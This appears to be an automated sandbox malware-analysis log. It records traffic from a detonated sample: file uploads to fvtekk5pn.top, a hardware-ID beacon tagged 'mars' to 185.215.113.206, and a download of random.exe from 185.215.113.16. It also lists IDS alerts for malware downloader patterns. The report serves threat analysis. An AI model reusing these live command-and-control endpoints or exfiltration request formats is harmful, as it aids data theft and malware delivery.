Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------MeRcTtbcBoMABFWyrwGEtvData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4d 65 52 63 54 74 62 63 42 6f 4d 41 42 46 57 79 72 77 47 45 74 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 61 77 69 67 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c2 9b 44 97 88 17 28 d2 84 5f 32 03 dc a5 39 27 c8 a8 a1 65 9a 5f 34 0d 07 15 7b 77 ea 55 99 21 1a 1e 8a d0 11 8b 83 73 13 c1 32 67 ef db bf c0 a0 0d 49 77 66 9d 98 a5 51 8c e8 24 b1 06 90 7f 13 17 91 99 55 6d 1a c0 3c 06 9e df 24 d4 8e 7d 49 81 54 40 62 01 4f d5 3e 4a 41 17 f2 73 3b d2 cd 32 a8 8d ef a8 2d 98 9b 70 34 eb b5 30 46 58 73 6d fb 5a 32 74 45 3d ad d8 df 62 c9 21 c5 dc ae f9 d7 ab f5 4d 74 5c e2 0d d7 35 ed 8f b9 f6 fd ce 40 93 ae 3d b2 2b 4d c4 7b d5 38 ab c3 29 98 37 2b 99 63 27 57 c8 ac ce 58 db fe af 45 d1 03 21 32 ac 1d c0 5d bc 75 b7 f4 02 94 aa 83 b6 43 37 ef f4 78 8d e0 31 a9 22 c9 dd 3c 7e 8a ff 08 14 0a 3e 78 a5 c1 b1 19 76 a7 f5 f4 b4 62 37 3a 36 79 34 1f 51 49 79 b5 e2 51 e1 21 90 af 6c 3c 6f b2 2c 5f 14 05 d6 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4d 65 52 63 54 74 62 63 42 6f 4d 41 42 46 57 79 72 77 47 45 74 76 2d 2d 0d 0a Data Ascii: --------------------------MeRcTtbcBoMABFWyrwGEtvContent-Disposition: form-data; name="file"; filename="Hawiga.bin"Content-Type: application/octet-streamD(_29'e_4{wU!s2gIwfQ$Um<$}IT@bO>JAs;2-p40FXsmZ2tE=b!Mt\5@=+M{8)7+c'WXE!2]uC7x1"<~>xvb7:6y4QIyQ!l<o,_--------------------------MeRcTtbcBoMABFWyrwGEtv--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCFBAAAFHJDGCBFIIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 44 37 33 39 44 44 42 45 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 46 42 41 41 41 46 48 4a 44 47 43 42 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="hwid"70D739DDBE2E3441041814------CGHCFBAAAFHJDGCBFIIJContent-Disposition: form-data; name="build"mars------CGHCFBAAAFHJDGCBFIIJ--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 66981Content-Type: multipart/form-data; boundary=------------------------gyW34RPp8Tj5f1urw5pSBQData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 67 79 57 33 34 52 50 70 38 54 6a 35 66 31 75 72 77 35 70 53 42 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 6d 65 6b 61 6b 69 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9a ae 2d 1f 41 3e 8e f1 fd 64 9b 4e 48 7e 7b 2d d9 49 09 eb 0c b6 fb 82 60 f2 69 2a 55 83 33 14 ac 26 09 ff 93 f0 06 70 d9 fa 9a 45 b0 5b 5d a7 b2 58 13 9c 87 91 09 11 4f ce 73 4b 74 dd 25 57 28 3b d2 b7 e9 7f 1c 72 3b 61 06 3f 21 8d 81 f1 82 b2 8c 51 7d 05 f2 c8 e9 92 6d 9a d4 33 86 e8 f7 2c 1c 24 49 2d 8d 8c 6c e4 74 8d 50 9b 0c 85 66 09 43 06 63 7a 46 95 5f e8 b1 c1 10 96 74 c1 b9 01 02 dc 19 15 db 49 85 1e b7 5b 73 76 94 9d 8a f0 4e 20 e1 d0 be ac bd 1a 14 26 28 a8 a3 32 8e 24 ab 95 8d ae 27 fa 97 99 a6 23 f0 ff 66 d4 04 e0 17 62 92 22 0b f9 f0 d4 e5 6d 22 a0 39 1f e3 e7 3e 3a 92 e0 c7 57 3b 66 f4 2b 06 7b 56 78 e5 40 de b5 f5 93 e9 4a d5 63 c6 6e 23 8a b3 08 df 8e f0 1e 56 72 ee 61 1d e9 d1 45 e4 54 e8 f1 65 e9 9d cb 6e e1 92 ef 38 f4 6a 8b 13 41 93 99 59 ff a0 69 62 0a e3 73 94 36 0d e5 38 18 af 10 a4 b7 15 05 54 4e 85 78 73 b3 75 25 3f 63 59 4c 18 23 21 5a 8b 33 bf fc f7 de 98 e0 c6 3d a5 e3 0f 25 5e 07 d8 6e b1 54 0c 21 2f 53 06 79 3d fb 92 07 7c a8 44 7c 48 d8 70 da c6 4d 1c 98 73 5f 2b a8 42 26 b4 75 19 3d f7 88 72 9f bd 8e 05 c0 8b 84 06 e1 f2 47 e4 95 de a2 1f dc 27 fd fd 15 09 69 06 e2 3a b2 c8 f0 98 aa 01 24 db d8 e2 01 63 61 24 79 b5 06 38 e7 a5 4a 18 30 45 f7 be 8b 56 7e 65 1b 92 e8 e3 8f 3c ef 52 e0 3b ec 8d 48 db 62 95 70 90 d3 de b5 3f 20 06 4d d4 a5 9b c6 99 c2 dc 02 36 86 33 0b 2a 48 69 cc 3a d8 28 b0 fe 0b 86 92 b0 82 e3 fb b5 fc ff df a1 de 04 a6 d4 18 98 27 69 5a 59 85 04 a9 5f 7d 91 89 eb e6 39 ac 73 ce c8 1e 71 70 14 ea 62 92 f2 37 7f f2 8b 82 cb 23 fc 8a 05 c7 68 7e b4 93 f1 53 2a 73 af 88 85 53 ff f0 f5 8d 74 70 f2 83 1d cf a1 36 57 7f 35 98 cb cd 9b 7a a3 8b da 20 d7 af 76 9d fe c0 08 18 35 6f 85 11 2f e5 63 59 cc eb 16 ee 97 ee 8f f4 3c b4 8e b1 84 52 dd fd eb 6c 31 08 0e ed d3 fa dd a9 f1 ae c5 30 d9 4a 60 ad f9 fb 77 df af c3 41 6e af 5a 17 eb c7 f5 eb 74 5f 10 4e 58 30 87 ab 77 f8 5e 00 c6 4d 75 b0 f7 62 f4 de 7a 18 f9 6a a1 0d 0f bb dd 8a b4 c6 cf 6b c3 27 c3 f8 0d 7b 60 45 b3 fa 8c 96 5e e2 5f 10 bc 14 96 32 54 a0 35 6f e8 b0 42 44 ee 92 f1 17 f0 db ed 68 3f d8 62 19 8a fa 56 4f 78 c9 05 81 57 e5 31 2e 82 4b d2 c8 ae 07 e4 dd 7a 0a 56 59 18 a6 39 1f 82 c2 68 76 c9 d4 b6 ad 75 70 42 c7 81 87 49 ca 45 85 7c 85 c0 0a 4b 43 86 25 81 e4 49 6e a0 33 aa 06 77 1c 80 97 16 d9 d9 30 7d 72 c1 ed 6f 7a 5e 57 3d 46 e7 7f 66 e0 df 1f 33 39 40 e8 02 a1 f0 b3 75
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008306001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 35490Content-Type: multipart/form-data; boundary=------------------------tQRw4ClgFlS8iM5HD7Mw3WData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 74 51 52 77 34 43 6c 67 46 6c 53 38 69 4d 35 48 44 37 4d 77 33 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 71 65 6c 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 58 43 d0 32 40 98 2b 53 00 16 bb c6 cc 7a e6 16 f0 4b b8 da bc 29 9b c4 cb c9 72 a2 de e3 c2 03 c1 9d 7b a4 78 4d 1c 0b ee 21 38 16 21 96 32 db 6b c3 ad e2 e0 16 54 7a ee bd 3a 1d 74 39 40 af d4 3a 13 9f 71 66 b7 72 3f bc 09 e3 d3 30 76 bd fb a9 68 73 f3 b0 04 5d 42 58 ff 57 95 03 24 03 0e 2f 43 b0 e1 90 d7 82 4a 4b b4 8d 04 aa 08 25 00 ba 07 4c 40 70 94 6a c2 b8 0f 74 9a 17 8c 8f 7f 80 18 b1 0a 09 5a 32 15 96 56 98 a6 4e 37 ff d8 04 7f 6f 38 00 dd 0e c1 d5 21 34 b2 6b b7 fa 5b ca 4e db 93 51 e5 9b 0b 04 8d 75 d6 1f 02 6a b1 fe 5b 7d 23 52 4b 28 96 4d 84 18 08 1e 11 cb f0 bf 46 5f ab 9a e8 31 6b 43 22 86 b8 06 d1 6d 79 0f fc e0 50 d6 85 54 50 1f 3f 5c cb 8b bb da 58 2a bd 7f 9b 14 48 76 74 5e cc 4c 9b 07 88 72 15 43 c2 94 95 a4 3f 27 fa 93 f5 9e 67 55 a8 6d de 7a f8 30 47 08 c3 7c bc a1 83 ad a9 b1 1b d4 ac 84 a9 68 85 9f c7 93 19 99 2e 5f 0b a7 75 89 4c 40 5a 6e ab 45 81 95 83 b7 e7 51 17 b4 49 ae d6 ef be e6 1c 4c f7 59 f3 b1 8d 8a 8e 34 45 e8 aa e2 df 5b 41 67 3a a2 af 6b 4d 2d 1b 4d fd f3 e9 a8 5e 2c db 9f 54 c9 96 49 69 87 0d 63 fc dd ec 5f 24 43 f1 03 d0 da 6e 76 a7 4a 9c e0 65 b4 f6 29 f1 52 aa ed 15 49 d7 f9 27 cf 3d 79 c3 fa 15 6b 70 4c 48 c5 b3 3b 13 78 37 89 ce 61 22 80 c4 1c 7e 92 0a 1b 70 68 10 16 3a c6 8f cc 3a 85 c3 d6 d9 76 f7 26 d1 61 4d 9e 21 37 0e c5 1e c5 31 9d 48 fa e9 51 2c c1 1b 29 a3 dd 82 aa c4 db ad 97 7d d8 0c fa dd 86 a5 51 ba e7 d1 98 6e e5 93 fd 2f bd f2 29 8a c1 6c ec df 68 5e 25 31 49 c1 88 99 7a 80 86 65 06 2e 5f 27 33 11 01 39 8a b4 7d 28 c6 92 bb 19 13 65 10 f7 46 8a 0d 5b be 44 fb b8 e1 97 eb fa d7 0c 3a 48 a9 56 17 2a f6 18 63 2d d5 63 e1 b1 57 5a 98 cd 58 1f 99 e1 9a b8 1a 47 45 1e 76 64 13 c3 89 eb c2 de 3f 49 fd da 1a a9 43 7a a5 67 30 b0 2d 9d f1 54 57 ea fe 1c 67 4d 83 20 69 58 a4 90 4d cb d5 5c 01 3c 95 56 0f 5a 8b 5c 73 15 65 ab 3b 6f 4a 4c f6 ce 89 54 b6 b8 75 54 60 60 d4 ee 7b cd 5b e0 36 1e 0f 4b bd 11 42 17 6b c8 9a 21 6f 50 e2 2a f6 d2 1f 4f 23 33 77 9d 91 ee b0 b6 86 7d e6 75 0d 71 eb f9 3d 2c 09 7e 24 b4 c1 d1 62 31 bb 45 30 fc 0a 07 5f 60 b0 00 69 e1 ec 45 5d 4d 01 8e ab 83 8f 39 d9 69 03 ca 6c 77 0f 5a f5 87 19 71 a4 ec e9 6b 03 9b 65 f8 2f a7 66 7a c4 52 7c 39 dc 3b 5a 35 a1 d3 d1 4a 4a 1b 35 de 61 71 36 a9 bc 29 4e af c8 38 61 33 83 f3 6a 44 a7 94 c7 35 72 51 1a 08 40 96 70 bc e7 c9 6a 63 b9 e8 72 f3 25 6a 29 6d 7a d2 ba f4 ea 45 8b fb

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49760 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49886 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49983 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50013 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50013 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50036 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50039 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50045 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50051 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50058 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50066 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50067 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50065 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50076 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50077 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50091 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50092 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50103 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50101 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50100 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50057 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50109 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50116 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50117 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50124 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50126 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50125 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50143 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50163 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50203 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50209 -> 104.21.33.116:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5ECC60 PR_Recv,

0_2_6C5ECC60

Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XxOFOFpDXBZmBM8&MD=x+H955wz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
